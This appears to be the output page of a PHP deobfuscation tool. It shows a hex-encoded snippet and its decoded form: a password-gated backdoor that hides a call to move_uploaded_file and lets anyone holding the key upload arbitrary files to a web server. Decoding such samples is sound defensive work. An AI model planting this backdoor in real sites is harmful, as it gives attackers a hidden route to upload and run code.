Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
-e \x3c\x21\x2d\x2d\x7b\x67\x64\x65\x62\x63\x32\x61\x38\x36\x7d\x2d\x2d\x3e\x0a\x3c\x3f\x7..
Decoded Output download
<? -e <!--{gdebc2a86}-->
<?php
$m1 = 'mo'.'ve';
$u1 = 'uplo'.'aded';
$vl = 'ke'.'y';
$fn = $m1.'_'.$u1.'_file';
if(isset($_POST[$vl])&&$_POST[$vl]==='g708653a7') {
$fn($_FILES ["upfile"]["tmp"."_name"], basename ($_FILES["up"."file"]["name"]));
}
?>
Did this file decode correctly?
Original Code
-e \x3c\x21\x2d\x2d\x7b\x67\x64\x65\x62\x63\x32\x61\x38\x36\x7d\x2d\x2d\x3e\x0a\x3c\x3f\x70\x68\x70\x0a\x24\x6d\x31\x20\x3d\x20\x27\x6d\x6f\x27\x2e\x27\x76\x65\x27\x3b\x0a\x24\x75\x31\x20\x3d\x20\x27\x75\x70\x6c\x6f\x27\x2e\x27\x61\x64\x65\x64\x27\x3b\x0a\x24\x76\x6c\x20\x3d\x20\x27\x6b\x65\x27\x2e\x27\x79\x27\x3b\x0a\x24\x66\x6e\x20\x3d\x20\x24\x6d\x31\x2e\x27\x5f\x27\x2e\x24\x75\x31\x2e\x27\x5f\x66\x69\x6c\x65\x27\x3b\x0a\x69\x66\x28\x69\x73\x73\x65\x74\x28\x24\x5f\x50\x4f\x53\x54\x5b\x24\x76\x6c\x5d\x29\x26\x26\x24\x5f\x50\x4f\x53\x54\x5b\x24\x76\x6c\x5d\x3d\x3d\x3d\x27\x67\x37\x30\x38\x36\x35\x33\x61\x37\x27\x29\x20\x7b\x0a\x20\x20\x20\x20\x24\x66\x6e\x28\x24\x5f\x46\x49\x4c\x45\x53\x20\x5b\x22\x75\x70\x66\x69\x6c\x65\x22\x5d\x5b\x22\x74\x6d\x70\x22\x2e\x22\x5f\x6e\x61\x6d\x65\x22\x5d\x2c\x20\x62\x61\x73\x65\x6e\x61\x6d\x65\x20\x28\x24\x5f\x46\x49\x4c\x45\x53\x5b\x22\x75\x70\x22\x2e\x22\x66\x69\x6c\x65\x22\x5d\x5b\x22\x6e\x61\x6d\x65\x22\x5d\x29\x29\x3b\x0a\x7d\x0a
Function Calls
None |
Stats
MD5 | 5ba37c3b5575dcace7ea2cb69deda820 |
Eval Count | 0 |
Decode Time | 47 ms |